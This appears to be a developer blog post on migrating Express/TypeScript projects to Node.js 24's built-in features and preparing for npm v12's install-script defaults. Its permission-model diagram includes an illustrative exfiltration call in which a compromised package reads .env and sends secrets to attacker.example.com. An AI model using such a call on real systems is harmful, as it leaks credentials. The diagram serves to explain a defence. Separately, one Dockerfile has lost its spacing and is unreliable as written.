The "Native-First" Revolution: How Node.js 24 Is Ending Dependency Hell in 2026

javascript dev.to

1. The Forcing Function: Why 2026 Is the Year You Finally Migrate

There's a joke that never quite got old:

"A node_modules folder is the heaviest object in the known universe."

It was funny because it was true. A fresh Express + TypeScript project in 2022 required installing jest, ts-node, dotenv, nodemon, node-fetch, uuid, and better-sqlite3 before you wrote a single line of business logic — 800–1,200 packages before "Hello World." Docker images ballooned. CI pipelines crept. Every dependency was a supply chain attack waiting to happen.

That era is over — and there's a concrete, time-sensitive reason 2026 is the year to act.

Node.js 20 reached end-of-life in April 2026. If your team is still running it in production, you have no security patches, full stop. Node.js 22 is in Maintenance LTS until April 2027, but it's no longer the recommended target for new work.

timeline
    title Node.js LTS Landscape — June 2026
    section End of Life
        Apr 2026 : Node.js 20 EOL ⛔
        Jun 2026 : Node.js 25 EOL ⛔
    section Maintenance LTS
        Until Apr 2027 : Node.js 22
    section Active LTS — Use This
        Oct 2025 to Apr 2028 : Node.js 24 "Krypton"
    section Current — test it, don't ship it yet
        May 2026 to Oct 2026 : Node.js 26 → becomes LTS in October
    section 2027 and beyond
        One release a year, every release is LTS : Node.js 27+
Enter fullscreen mode Exit fullscreen mode

The cadence itself is changing. Starting with Node.js 27 in 2027, the project drops the old "even versions get LTS, odd versions don't" split entirely — one major release a year, and every release becomes LTS. Node.js 26 (already out, heading to LTS this October) is the last release under the old rules. None of that changes what belongs in production today: Node.js 24 "Krypton" is Active LTS through April 2028, which makes it the right foundation to build on right now, before the new model lands.

The upgrade is overdue. And moving to Node.js 24 isn't just a security patch — it's a fundamentally leaner, faster, more secure platform.


2. What "Native-First" Actually Means

Over the last three major releases, the core team has systematically absorbed the most-downloaded third-party packages directly into the runtime. The guiding principle: stop reaching for npm install for things the platform should handle itself.

graph TD
    subgraph BEFORE["❌ Node.js ~2022 — You Install Everything"]
        direction LR
        A1["Your App"] --> B1["dotenv\nenv vars"]
        A1 --> C1["jest + babel\ntesting"]
        A1 --> D1["ts-node / tsx\nTypeScript"]
        A1 --> E1["nodemon\nfile watch"]
        A1 --> F1["node-fetch\nHTTP"]
        A1 --> G1["better-sqlite3\nSQLite"]
        A1 --> H1["uuid\nrandom IDs"]
        A1 --> I1["fast-glob\nfile patterns"]
        B1 & C1 & D1 & E1 & F1 & G1 & H1 & I1 --> Z1["📦 node_modules\n800 – 1,200 packages"]
    end

    subgraph AFTER["✅ Node.js 24 — Batteries Included"]
        direction LR
        A2["Your App"] --> B2["--env-file\nflag"]
        A2 --> C2["node:test\nmodule"]
        A2 --> D2["Native TS\n(default in v24)"]
        A2 --> E2["--watch\nflag"]
        A2 --> F2["global fetch\n+ AbortController"]
        A2 --> G2["node:sqlite\nRC module"]
        A2 --> H2["crypto.randomUUID()\nbuilt-in"]
        A2 --> I2["fs.glob()\nbuilt-in"]
        B2 & C2 & D2 & E2 & F2 & G2 & H2 & I2 --> Z2["📦 node_modules\n~50 – 85 packages"]
    end
Enter fullscreen mode Exit fullscreen mode

In the example project this post walks through, that's a ~92% drop in package count — and it translates directly into faster installs, leaner Docker images, shorter CI runs, and a smaller attack surface. Let's go through each piece.


3. Feature Deep-Dives

Native TypeScript — The Build Step Is Dead (Mostly)

For a decade, shipping TypeScript meant an unavoidable ceremony:

# Old way — compile first, then run
tsc src/index.ts --outDir dist
node dist/index.js

# Or the slightly-less-painful middle ground:
npx ts-node src/index.ts
Enter fullscreen mode Exit fullscreen mode

Node.js 24 ends this for most projects. Type stripping is on by default for .ts files — no flags, no tsconfig.json build setup, no dist/ folder:

# Node.js 24: just run it
node src/server.ts
Enter fullscreen mode Exit fullscreen mode

Under the hood, Node.js uses amaro — a thin wrapper around @swc/wasm-typescript, the WebAssembly build of Rust-based SWC's TypeScript parser — to erase type annotations before handing plain JavaScript to V8. This is erasure, not compilation: Node.js never type-checks your code. That's still tsc --noEmit's job.

// src/api/users.ts — runs directly on Node.js 24, zero build tooling
interface User {
  id: number;
  name: string;
  email: string;
}

async function getUser(id: number): Promise<User | null> {
  const res = await fetch(`https://api.example.com/users/${id}`);
  if (!res.ok) return null;
  return res.json() as Promise<User>;
}

const user = await getUser(1);
console.log(user?.name ?? 'not found');
Enter fullscreen mode Exit fullscreen mode
# Always enable source maps for readable stack traces
node --enable-source-maps src/api/users.ts

# Type checking still lives in CI — Node.js doesn't check types
npx tsc --noEmit
Enter fullscreen mode Exit fullscreen mode

The Honest Limitations

Most articles skip this. Here's what native type stripping cannot handle:

// ❌ TypeScript enums → ERR_UNSUPPORTED_TYPESCRIPT_SYNTAX
enum Status { Active = 'ACTIVE', Inactive = 'INACTIVE' }

// ✅ Fix: use const objects + union types (fully erasable)
const Status = { Active: 'ACTIVE', Inactive: 'INACTIVE' } as const;
type Status = typeof Status[keyof typeof Status];

// ❌ TypeScript decorators (NestJS, TypeORM, class-transformer)
@Controller('/users')
class UserController { @Get('/') list() {} }

// ✅ Fix: keep tsx or ts-node for decorator-heavy codebases

// ❌ Parameter properties
class Service {
  constructor(private readonly db: Database) {}  // stripped incorrectly
}

// ✅ Fix: expand to explicit assignments
class Service {
  private readonly db: Database;
  constructor(db: Database) { this.db = db; }
}

// ❌ JSX / TSX — native strip-types is backend-only
// Next.js, Remix, Astro — keep your bundler

// ❌ TypeScript namespaces (legacy)
namespace Utils { export function helper() {} }
Enter fullscreen mode Exit fullscreen mode

For enums specifically: --experimental-transform-types (Node.js 22.7+) handles them — but it performs actual code transformation, not just stripping, so it's slower and stays opt-in.

What you can delete:

npm uninstall ts-node ts-node-dev tsx
# Keep: typescript (for tsc --noEmit in CI)
Enter fullscreen mode Exit fullscreen mode

Built-in Test Runner — Dethroning Jest

Jest spawns isolated worker processes per file and bootstraps Babel or ts-jest on every run. node:test (stable since Node.js 20, feature-complete in Node.js 24) runs directly in V8 with no middleware in between.

xychart-beta
    title "200-Test Suite Execution Time (seconds) — lower is better"
    x-axis ["Jest 29", "Vitest 1.x", "node:test (Node 24)"]
    y-axis "Seconds" 0 --> 30
    bar [28, 11, 4.5]
Enter fullscreen mode Exit fullscreen mode

28s ÷ 4.5s ≈ 6× faster than Jest in this benchmark — your mileage will vary by suite size and I/O.

// ─── BEFORE: Jest ─────────────────────────────────
import { describe, it, expect, jest } from '@jest/globals';

const fetchMock = jest.fn();
global.fetch = fetchMock;

describe('UserService', () => {
  it('fetches a user by id', async () => {
    fetchMock.mockResolvedValueOnce({
      ok: true,
      json: async () => ({ id: 1, name: 'Alice' }),
    });
    const { UserService } = await import('../src/user.service.js');
    const user = await UserService.getById(1);
    expect(user.name).toBe('Alice');
    expect(fetchMock).toHaveBeenCalledTimes(1);
  });
});

// ─── AFTER: node:test — zero external packages ────
import { describe, it, afterEach, mock } from 'node:test';
import assert from 'node:assert/strict';

describe('UserService', () => {
  afterEach(() => mock.restoreAll());

  it('fetches a user by id', async () => {
    mock.method(globalThis, 'fetch', async () => ({
      ok: true,
      json: async () => ({ id: 1, name: 'Alice' }),
    }));
    // ⚠️ Mock first, dynamic-import the module second — see Pitfall 5
    const { UserService } = await import('../src/user.service.js');
    const user = await UserService.getById(1);

    assert.equal(user.name, 'Alice');
    assert.equal(globalThis.fetch.mock.callCount(), 1);
  });
});
Enter fullscreen mode Exit fullscreen mode
node --test                                    # Run all tests
node --test src/**/*.test.ts                   # With TypeScript (Node 24)
node --test --watch                            # Watch mode
node --test --experimental-test-coverage       # Coverage report
node --test --reporter=junit > results.xml     # CI-friendly output
Enter fullscreen mode Exit fullscreen mode

node:test matches Jest on the basics — describe/it, lifecycle hooks, native mocking, watch mode (via --watch), and multiple reporters are all there. Where they actually diverge:

node:test Jest
Coverage reports ✅ (behind a flag)
Snapshot testing ✅ (since 22.3)
Dependencies required 0 870+
Cold start (typical) ~0.3s ~4–6s

Snapshot testing in node:test: added in Node.js 22.3.0 via context.assert.snapshot(). The API is simpler than Jest's — run once with --test-update-snapshots to generate, then without to assert.

// Snapshot test example — no jest.toMatchSnapshot() needed
test('renders user card correctly', (t) => {
  const html = renderUserCard({ name: 'Alice', role: 'admin' });
  t.assert.snapshot(html);
});
Enter fullscreen mode Exit fullscreen mode

What you can delete:

npm uninstall jest @types/jest ts-jest babel-jest jest-circus @jest/globals sinon nock
Enter fullscreen mode Exit fullscreen mode

Native .env Loading — Ditch dotenv

dotenv peaked at 40+ million weekly downloads. Node.js 24 makes it optional:

# OLD: npm install dotenv + require('dotenv').config() in every entrypoint
# NEW: one flag, built into Node.js
node --env-file=.env src/server.ts
Enter fullscreen mode Exit fullscreen mode

Cascade multiple files — later values override earlier ones:

node --env-file=.env --env-file=.env.local src/server.ts
Enter fullscreen mode Exit fullscreen mode
// process.env is populated before your code runs — no imports needed
const port   = Number(process.env.PORT) || 3000;
const db     = process.env.DATABASE_URL ?? '';
const secret = process.env.API_SECRET   ?? '';
Enter fullscreen mode Exit fullscreen mode

⚠️ Gotcha: the native flag does not support variable expansion. USERS_URL=${BASE_URL}/users won't interpolate ${BASE_URL}. If you rely on dotenv-expand for that, keep it just for that use case.

What you can delete:

npm uninstall dotenv dotenv-expand dotenv-safe
Enter fullscreen mode Exit fullscreen mode

Built-in SQLite — Zero-Setup Database (Release Candidate)

Stability notice: node:sqlite reached Stability 1.2 — Release Candidate in Node.js v25.7.0 (February 2026). It's not experimental anymore, but minor API refinements are still possible before it reaches full Stability 2. Treat it like a late-beta for your most critical paths until then.

import { DatabaseSync } from 'node:sqlite';

const db = new DatabaseSync('./inventory.db');

db.exec(`
  CREATE TABLE IF NOT EXISTS products (
    id        INTEGER PRIMARY KEY AUTOINCREMENT,
    sku       TEXT    NOT NULL UNIQUE,
    name      TEXT    NOT NULL,
    price     REAL    NOT NULL CHECK(price > 0),
    stock     INTEGER NOT NULL DEFAULT 0
  )
`);

// Prepared statements prevent SQL injection
const upsert    = db.prepare('INSERT OR REPLACE INTO products (sku, name, price, stock) VALUES (?, ?, ?, ?)');
const findBySku = db.prepare('SELECT * FROM products WHERE sku = ?');
const lowStock  = db.prepare('SELECT * FROM products WHERE stock < ? ORDER BY stock ASC');

upsert.run('WIDGET-001', 'Widget Pro', 29.99, 150);
upsert.run('GADGET-002', 'Gadget Lite', 9.99, 3);

console.log(findBySku.get('WIDGET-001'));
// → { id: 1, sku: 'WIDGET-001', name: 'Widget Pro', price: 29.99, stock: 150 }

console.log('Low stock:', lowStock.all(10));

db.close();
Enter fullscreen mode Exit fullscreen mode
Use case node:sqlite (RC) better-sqlite3 ORM (Prisma/Drizzle)
Scripts & CLI tools ✅ Perfect ❌ Overkill
Prototyping ✅ Perfect ❌ Overkill
Lightweight internal services ✅ Good ✅ Better typed
Complex production queries ⚠️ RC — evaluate ✅ Battle-tested ✅ Best
SQLite extensions (FTS5, JSON1)
TypeScript types + migrations ⚠️ Manual ✅ Best

Native Fetch, AbortController & Web APIs

fetch is a stable global in Node.js 24, powered by Undici 7. No imports, no packages:

// POST with a timeout — AbortController is also a global, no package needed
async function createOrder(payload: Record<string, unknown>) {
  const ctrl  = new AbortController();
  const timer = setTimeout(() => ctrl.abort(), 5_000);
  try {
    const res = await fetch('https://api.example.com/orders', {
      method:  'POST',
      headers: { 'Content-Type': 'application/json' },
      body:    JSON.stringify(payload),
      signal:  ctrl.signal,
    });
    if (!res.ok) throw new Error(`HTTP ${res.status}`);
    return res.json();
  } finally {
    clearTimeout(timer);
  }
}
Enter fullscreen mode Exit fullscreen mode

Stable globals in Node.js 24 and what they used to require:

Global Replaces
fetch() axios, node-fetch, got
AbortController / AbortSignal abort-controller package
URL / URLSearchParams url package
URLPattern (was never native before)
FormData form-data package
Blob / File blob package
WebSocket (client) ws package (client use)
crypto.subtle node-forge, crypto-js
structuredClone() lodash.clonedeep

When to keep axios: request/response interceptors, automatic retry logic, and a unified browser+server API are genuine advantages it still has. For backend-only code without those needs, native fetch covers everything.

What you can delete:

npm uninstall node-fetch isomorphic-fetch cross-fetch abort-controller form-data blob
Enter fullscreen mode Exit fullscreen mode

Built-in Watch Mode — Retire nodemon

# OLD
nodemon --exec ts-node src/server.ts

# NEW (stable since Node.js 22)
node --watch src/server.ts

# With TypeScript (Node.js 24)
node --watch --enable-source-maps src/server.ts

# Watch specific paths (monorepos)
node --watch-path=./src --watch-path=./config src/server.ts
Enter fullscreen mode Exit fullscreen mode

nodemon still wins when you need to restart on non-JS file changes (.yaml, .json), configure custom delays, or run pre/post restart scripts. For the 90% case — "restart when my source files change" — --watch is enough.

npm uninstall nodemon
Enter fullscreen mode Exit fullscreen mode

Permission Model — Runtime Security Built In

This is the most underrated feature in Node.js 24, now production-stable (no longer behind --experimental-permission — just --permission):

# Read-only analytics: can only read /data
node --permission --allow-fs-read=/data src/analytics.ts

# Strict API server: only talk to specific domains
node --permission \
     --allow-fs-read=$(pwd) \
     --allow-net=api.stripe.com,hooks.sendgrid.com \
     src/server.ts

# Maximum lockdown for a data processor
node --permission \
     --allow-fs-read=$(pwd)/src \
     --allow-fs-write=/tmp/output \
     src/processor.ts
Enter fullscreen mode Exit fullscreen mode

Supply chain attacks on npm packages are a growing, documented threat. A compromised dependency can, by default, do anything your process can: read .env, exfiltrate credentials, write to disk. With --permission, even a fully malicious package is sandboxed:

sequenceDiagram
    actor Evil as 😈 Compromised Package
    participant PM as Node.js Permission Model
    participant ENV as .env File
    participant Net as attacker.example.com

    Evil->>PM: fs.readFile('.env')
    PM-->>Evil: ❌ ERR_ACCESS_DENIED — fs-read not granted for '/'

    Evil->>PM: fetch('https://attacker.example.com/exfil', secrets)
    PM-->>Evil: ❌ ERR_ACCESS_DENIED — domain not in --allow-net

    Note over PM: 🔒 Secrets never leave your server
Enter fullscreen mode Exit fullscreen mode

Pro tip: run your test suite under --permission too. node --permission --allow-fs-read=$(pwd) --test ensures tests can't make unexpected network calls or write stray files outside your project directory.


Native Crypto, fs.glob & import.meta.dirname

Three small dependencies you don't need anymore:

// crypto.randomUUID() — delete the uuid package
import { randomUUID } from 'node:crypto';
const id = randomUUID();  // identical output to uuid v4, zero package

// fs.glob() — delete fast-glob (stable in Node.js 24)
import { glob } from 'node:fs/promises';
const tsFiles = await Array.fromAsync(glob('src/**/*.ts'));
const configs = await Array.fromAsync(glob('**/*.{json,yaml}', {
  exclude: ['node_modules/**', 'dist/**'],
}));

// import.meta.dirname / import.meta.filename — the modern __dirname
// Stable since Node.js 20.11 — no fileURLToPath() workaround needed
import { join } from 'node:path';
const configPath = join(import.meta.dirname, 'config.json');
console.log(import.meta.filename);  // /absolute/path/to/current/file.ts
Enter fullscreen mode Exit fullscreen mode
npm uninstall uuid glob fast-glob globby
Enter fullscreen mode Exit fullscreen mode

Single Executable Applications (SEA)

Node.js 24 backports a one-step SEA build: the --build-sea flag (introduced in Node.js 25.5, then backported to the 24.x LTS line) packages your app into a single binary that runs without Node.js installed on the target machine — no separate postject step needed:

# Step 1: bundle your app — all dependencies inlined
npx esbuild src/cli.ts --bundle --platform=node --outfile=dist/bundle.js

# Step 2: describe the executable
echo '{"main":"dist/bundle.js","output":"my-cli"}' > sea-config.json

# Step 3: build it — one command, done
node --build-sea sea-config.json

# Step 4: ship it
./my-cli --help
Enter fullscreen mode Exit fullscreen mode

Older guides describe a manual workflow — copy the node binary yourself, then inject the blob with npx postject ... --sentinel-fuse .... Node.js keeps that path working for backward compatibility, but --build-sea replaces it for the common case. Use the manual route only if you need something --build-sea doesn't yet support.

Best use cases: CLI tools distributed to non-developers, internal utilities where installing Node.js is impractical, and portable microservices on minimal container images.

Current limitation: your app and its dependencies must be bundled into a single JS file first (esbuild, rollup, etc.). Native addons that load files from disk at runtime need to be shipped as separate assets.


4. The Bonus Round: V8 13.6, npm 11, Undici 7 & AsyncLocalStorage

V8 13.6 — New JavaScript, Faster Execution

Node.js 24 bumps V8 to v13.6, bringing four notable language features:

// Float16Array — half-precision floats, half the memory of Float32Array.
// Useful for ML inference, WebGL, and audio processing.
const weights = new Float16Array([0.5, 0.25, 0.125, 0.0625]);
console.log(weights.byteLength);  // 8 bytes vs 16 for Float32Array

// using — Explicit Resource Management (TC39, stage 4).
// Calls [Symbol.dispose]() automatically when the block exits, even on error.
import { DatabaseSync } from 'node:sqlite';
function processReport() {
  using db = new DatabaseSync('./reports.db');   // closed automatically
  return db.prepare('SELECT * FROM sales').all();
}

// RegExp.escape() — safer dynamic regex, no more escape-string-regexp.
const pattern = new RegExp(RegExp.escape(userInput));

// Error.isError() — reliable cross-realm error detection
// (instanceof breaks across iframes/VM contexts; this doesn't).
if (Error.isError(err)) { /* ... */ }
Enter fullscreen mode Exit fullscreen mode

npm 11 — Shipped With Node.js 24

  • Faster installs via an improved resolution algorithm

  • Stricter audit — no longer falls back to a deprecated advisory endpoint

  • npm init prompts for project type for smarter scaffolding

  • Better peer dependency handling, fewer phantom resolution warnings

⚠️ Lockfile heads-up: npm 11 changed lockfile resolution behavior. If you commit package-lock.json, regenerate it explicitly in its own PR rather than letting it drift silently:

rm package-lock.json && npm install
git add package-lock.json
git commit -m "chore: regenerate lockfile for npm 11 resolution"

Undici 7 — The Engine Behind Every fetch() Call

Every fetch() in Node.js goes through Undici. Version 7 brings:

  • Stricter spec compliance — third-party Blob/FormData/AbortController polyfills are gone now that they're fully native

  • A SQLite-backed cache store for the HTTP cache interceptor, so multiple Node.js processes (think PM2 cluster mode) can share one cache instead of each keeping its own in-memory copy:

    import { Agent, interceptors, cacheStores, setGlobalDispatcher } from 'undici';
    
    setGlobalDispatcher(
      new Agent().compose(
        interceptors.cache({ store: new cacheStores.SqliteCacheStore({ location: './http-cache.db' }) })
      )
    );
    // fetch() now transparently respects Cache-Control / ETag and persists to that file
    
  • WebSocketStream — a streamable, promise-based WebSocket API

  • Proxy support via NODE_USE_ENV_PROXY=1fetch() now respects HTTP_PROXY / HTTPS_PROXY natively, ending a long-standing pain point for teams behind a corporate proxy:

    NODE_USE_ENV_PROXY=1 node --env-file=.env src/server.ts
    

AsyncLocalStorage / AsyncContextFrame

AsyncLocalStorage is the foundation for request-scoped context — trace IDs, per-request logging, session data across async boundaries. Node.js 24 switches its default implementation to AsyncContextFrame, a more efficient context-propagation mechanism than the old async_hooks-based one:

import { AsyncLocalStorage } from 'node:async_hooks';

const requestCtx = new AsyncLocalStorage<{ traceId: string }>();

// Express middleware — context flows automatically through all async calls
app.use((req, res, next) => {
  requestCtx.run({ traceId: req.headers['x-trace-id'] ?? crypto.randomUUID() }, next);
});

// Anywhere in your async call chain — no prop-drilling
function logAction(action: string) {
  const { traceId } = requestCtx.getStore() ?? { traceId: 'unknown' };
  console.log(JSON.stringify({ action, traceId, ts: Date.now() }));
}
Enter fullscreen mode Exit fullscreen mode

This matters most if you're doing distributed tracing on a high-throughput service: context propagation no longer has to go through the heavier async_hooks machinery on every async tick, so the overhead per request drops.


5. Heads Up: npm v12 Is Coming in July 2026

This is the section most guides miss, and it directly affects every Node.js 24 project.

npm v12 is estimated to ship in July 2026. It introduces security-first defaults that will quietly break install scripts many teams depend on:

allowScripts defaults to off. npm install will stop running preinstall/install/postinstall scripts — including the implicit node-gyp rebuild that native-addon packages like bcrypt, sharp, and canvas rely on — unless you've explicitly allowed them:

# npm v12 — install scripts are blocked unless approved
npm install some-package
# → ⚠️ Skipping install scripts for: some-package (allowScripts: off)
Enter fullscreen mode Exit fullscreen mode

Git and remote-URL dependencies are blocked by default too — --allow-git and --allow-remote become required flags for github:user/repo or tarball-URL dependencies.

What to do before July 2026

The new behavior already ships as warnings in npm 11.16.0+, so you can see exactly what would break before the hard cutover:

# 1. See what would be blocked under the new default
npm approve-scripts --allow-scripts-pending

# 2. Approve the packages you trust — this writes an allowScripts
#    map to package.json that your team can review in PRs
npm approve-scripts bcrypt sharp canvas

# 3. Confirm CI passes with scripts off, simulating the v12 default
npm install --ignore-scripts
Enter fullscreen mode Exit fullscreen mode

The security story: allowScripts: off pairs directly with Node.js 24's Permission Model. Together they close two of the biggest supply-chain attack vectors — malicious code running at install time, and malicious behavior at runtime — in a way that wasn't possible on Node.js 20.


6. Docker: The Full Before/After

# ─────────────────────────────────────────────
# ❌ BEFORE (2022-era) — ships everything
# ─────────────────────────────────────────────
FROM node:20

WORKDIR /app
COPY package*.json ./
# Installs jest, ts-node, nodemon, dotenv, sinon... all of it
RUN npm ci
COPY . .
# Required compile step
RUN npm run build

EXPOSE 3000
CMD ["node", "dist/server.js"]

# Illustrative final image size: ~950MB
# node:20 base:              ~320MB
# node_modules (1,100 pkgs):  ~480MB
# dist/ + source:             ~150MB
Enter fullscreen mode Exit fullscreen mode
# ─────────────────────────────────────────────
# ✅ AFTER (Node.js 24, Native-First)
# Multi-stage: no build step, no dist folder
# ─────────────────────────────────────────────
FROMnode:24-slimASdeps
WORKDIR /app
COPY package*.json ./
# Only 2 real dependencies: express + typescript (for type-checking in CI)
RUN npm ci --omit=dev

FROMnode:24-slimASruntime
WORKDIR /app
COPY --from=deps /app/node_modules ./node_modules
COPY src/ ./src/
COPY package.json tsconfig.json ./

# Non-root user — security best practice
USER node

EXPOSE 3000
# Run TypeScript directly — no dist folder, no ts-node
CMD ["node", "--enable-source-maps", "src/server.ts"]

# Illustrative final image size: ~165MB (about 6x smaller, faster to pull)
# node:24-slim base:    ~85MB
# node_modules (~85):   ~55MB
# Source files:         ~25MB
Enter fullscreen mode Exit fullscreen mode

Want to go further? node:24-alpine gets you closer to ~90MB. Bundling your source with esbuild on top of a Distroless base can push a minimal microservice down toward the 20–30MB range — your numbers will depend on your actual dependency tree, so benchmark your own image rather than taking any of this as gospel.


7. The Big Migration: package.json Before & After

❌ Before — typical 2023 Express + TypeScript project:

{"name":"my-api","type":"module","scripts":{"start":"node dist/server.js","dev":"nodemon --exec ts-node src/server.ts","build":"tsc","test":"jest --coverage","typecheck":"tsc --noEmit"},"dependencies":{"axios":"^1.6.0","better-sqlite3":"^9.2.0","dotenv":"^16.3.1","express":"^4.18.2","uuid":"^9.0.1"},"devDependencies":{"@types/better-sqlite3":"^7.6.8","@types/express":"^4.17.21","@types/jest":"^29.5.11","@types/node":"^20.11.0","@types/uuid":"^9.0.7","babel-jest":"^29.7.0","jest":"^29.7.0","nodemon":"^3.0.2","sinon":"^17.0.1","ts-jest":"^29.1.1","ts-node":"^10.9.2","typescript":"^5.3.3"}}
Enter fullscreen mode Exit fullscreen mode

~1,100 packages · Docker: ~950MB · npm install: ~75s · Test suite: ~28s (illustrative, for this example project)


✅ After — Node.js 24 Native-First:

{"name":"my-api","type":"module","engines":{"node":">=24.0.0"},"scripts":{"start":"node --env-file=.env src/server.ts","dev":"node --env-file=.env --watch --enable-source-maps src/server.ts","test":"node --env-file=.env.test --test src/**/*.test.ts","coverage":"node --test --experimental-test-coverage src/**/*.test.ts","typecheck":"tsc --noEmit"},"dependencies":{"express":"^5.0.0"},"devDependencies":{"@types/express":"^5.0.0","typescript":"^5.6.0"}}
Enter fullscreen mode Exit fullscreen mode

~85 packages · Docker: ~165MB · npm install: ~8s · Test suite: ~4.5s (same example project)

Note on Express versions: the "Before" uses Express 4, and the "After" uses Express 5 — Express's current recommended baseline for new projects. That swap is a separate decision from the Node.js 24 migration. Migrating Express 4 → 5 is usually straightforward but should ship as its own PR, not bundled with the runtime upgrade.

~92% fewer packages · ~83% smaller Docker image · ~89% faster installs · ~84% faster tests · zero capability lost (again, this example project — measure your own).


8. Common Migration Pitfalls (With Real Error Messages)

These are the errors your team will actually hit.

Pitfall 1 — TypeScript enums blow up immediately

SyntaxError [ERR_UNSUPPORTED_TYPESCRIPT_SYNTAX]: TypeScript enum
declarations are not supported in strip-only mode.
Enter fullscreen mode Exit fullscreen mode

Fix: use as const objects (see the Honest Limitations section above) or add --experimental-transform-types.

Pitfall 2 — Missing file extensions in ESM imports

Error [ERR_MODULE_NOT_FOUND]: Cannot find module './user.service'
Enter fullscreen mode Exit fullscreen mode
// ❌ import { UserService } from './user.service'
// ✅ Node requires explicit extensions in ES modules —
//    .js works even when the source file is .ts; Node 24 resolves it.
import { UserService } from './user.service.js';
Enter fullscreen mode Exit fullscreen mode

Pitfall 3 — __dirname doesn't exist in ES modules

ReferenceError: __dirname is not defined in ES module scope

Enter fullscreen mode Exit fullscreen mode
// ✅ import.meta.dirname (stable since Node.js 20.11) — no fileURLToPath workaround needed
import { join } from 'node:path';
const configPath = join(import.meta.dirname, 'config.json');
Enter fullscreen mode Exit fullscreen mode

Pitfall 4 — require() used in ES module context

ReferenceError: require is not defined in ES module scope
Enter fullscreen mode Exit fullscreen mode
// ❌ const config = require('./config.json')
// ✅ Use an import assertion instead
import config from './config.json' with { type: 'json' };
Enter fullscreen mode Exit fullscreen mode

Pitfall 5 — node:test mocks not applied before module import

Expected mock to be called. Calls: 0
Enter fullscreen mode Exit fullscreen mode
// ❌ Module imported at the top — the mock wasn't set up yet
import { UserService } from '../src/user.service.js';

// ✅ Set up the mock first, then dynamically import inside the test
mock.method(globalThis, 'fetch', async () => ({ /* ... */ }));
const { UserService } = await import('../src/user.service.js');
Enter fullscreen mode Exit fullscreen mode

Pitfall 6 — npm 11 silently regenerates your lockfile

Symptom: git diff shows unexpected package-lock.json changes after a plain npm install. Fix: regenerate it explicitly, in its own commit (see Section 4's npm 11 callout).

Pitfall 7 — --experimental-test-coverage still needs the experimental flag

Even on Node.js 24, test-runner coverage hasn't graduated to stable. That's expected — add it to CI and accept the warning for now:

node --test --experimental-test-coverage
# ⚠️ ExperimentalWarning: --experimental-test-coverage is experimental
# This is fine — coverage still works correctly.
Enter fullscreen mode Exit fullscreen mode

9. Decision Guide: Native vs. Third-Party

flowchart TD
    A["Need a tool?"] --> B{"Is it covered\nby Node.js 24?"}
    B -->|"No"| C["Use the best\nthird-party package ✅"]
    B -->|"Yes"| D{"Does your codebase\nuse decorators,\nenums, or JSX?"}
    D -->|"Yes — TypeScript"| E["Keep tsx / ts-node\nfor TypeScript execution"]
    D -->|"No"| F{"Is this a\nproduction app\nor a script/CLI?"}
    F -->|"Script / CLI / Prototype"| G["Use native ✅"]
    F -->|"Production App"| H{"Hitting a\nnative limitation?"}
    H -->|"No"| G
    H -->|"Yes\n(e.g. SQLite extensions,\nretry logic)"| C
Enter fullscreen mode Exit fullscreen mode

Quick reference:

What you need Native (Node.js 24) Still use 3rd party when
Run TypeScript node src/file.ts (default) Decorators, enums, JSX, parameter properties
Test your code node --test Complex snapshot trees, @testing-library, frontend
Load env vars --env-file=.env Variable interpolation ${VAR}
SQLite database node:sqlite (RC) SQLite extensions, ORM features, critical production paths
HTTP requests global fetch Interceptors, retries, browser+server unified API
File watching --watch Non-JS file watching, custom restart hooks
Generate UUIDs crypto.randomUUID() v1, v5, v7 UUID variants
Match file globs fs.glob() Streaming very large directory trees
Resolve __dirname import.meta.dirname Node.js < 20.11 (use the old workaround)
Runtime security --permission Always — no third-party equivalent exists
Portable binary --build-sea Complex multi-file assets, native addon dependencies

10. Final Thoughts & Action Plan

The node_modules joke persisted for a decade because the problem was real. Every npm install dotenv jest ts-node nodemon was a tax — on your CI pipeline, your Docker registry, your attack surface, and the mental overhead of every developer who joins your team.

Node.js 24 doesn't ask you to adopt a new framework, learn a new paradigm, or rewrite your app. It asks you to do less. Stop installing packages for things the runtime already does. The result: faster builds, smaller images, fewer vulnerabilities, and a codebase new engineers can understand faster.

Here's a realistic migration plan that won't break anything:

gantt
    title Node.js 24 Native-First Migration Plan
    dateFormat  YYYY-MM-DD
    section Week 1 — Zero Risk
    Upgrade Node.js to 24 LTS           :w1a, 2026-06-22, 3d
    Replace nodemon with --watch         :w1b, 2026-06-22, 1d
    Replace dotenv with --env-file       :w1c, 2026-06-23, 1d
    section Week 2 — Low Risk
    Migrate one test file to node:test   :w2a, 2026-06-29, 3d
    Replace uuid with crypto.randomUUID  :w2b, 2026-06-29, 1d
    Audit install scripts for npm v12    :w2c, 2026-06-30, 2d
    section Week 3–4 — Medium Effort
    Migrate full test suite to node:test :w3a, 2026-07-06, 5d
    Replace node-fetch for simple calls  :w3b, 2026-07-08, 2d
    section Month 2 — Architectural
    Evaluate TypeScript stripping        :m2a, 2026-07-20, 7d
    Add --permission flags to services   :m2b, 2026-07-27, 5d
    Migrate SQLite to node:sqlite RC     :m2c, 2026-07-27, 5d
    Update Dockerfiles (multi-stage)     :m2d, 2026-08-03, 3d
Enter fullscreen mode Exit fullscreen mode

Start with Week 1 — single-line changes that compound into real savings before the next step even begins.

Your node_modules diet starts today.


11. FAQ

Q: Can Node.js 24 run TypeScript without ts-node or tsx? Yes. Type stripping is on by default — run node src/file.ts directly. The catch: enums, decorators, JSX, and namespaces aren't supported without --experimental-transform-types. If your codebase leans on those, tsx is still the pragmatic choice.

Q: Does node:test fully replace Jest? For backend/Node-only projects, yes — mocking, lifecycle hooks, watch mode, and snapshot testing (context.assert.snapshot()) are all there. For frontend testing with @testing-library/react or deep snapshot trees, stay on Jest or Vitest.

Q: How do I load .env files without dotenv?node --env-file=.env src/server.ts. Cascade environments with multiple --env-file flags. The one gap: no variable interpolation (${VAR}) — keep dotenv-expand if you depend on that.

Q: Is node:sqlite production-ready? It's Release Candidate (Stability 1.2) as of Node.js v25.7.0 — not experimental, but not fully stabilized either. Safe for scripts, CLIs, and internal tooling. For business-critical paths, better-sqlite3 or an ORM remains the safer call until it reaches Stability 2.

Q: What npm packages can I safely remove after upgrading? Candidates: dotenv, jest (and ts-jest, babel-jest, sinon), ts-node, tsx, nodemon, node-fetch, abort-controller, form-data, uuid, fast-glob, glob. Check each against your actual usage before uninstalling — don't do it blind.

Q: What's the npm v12 allowScripts change, and when does it land? npm v12 is estimated for July 2026. It defaults allowScripts to off, so install scripts (postinstall, etc.) stop running automatically — including the implicit node-gyp rebuild for native addons like bcrypt, sharp, and canvas. Audit now with npm approve-scripts --allow-scripts-pending on npm 11.16+, while it's still warning-only.

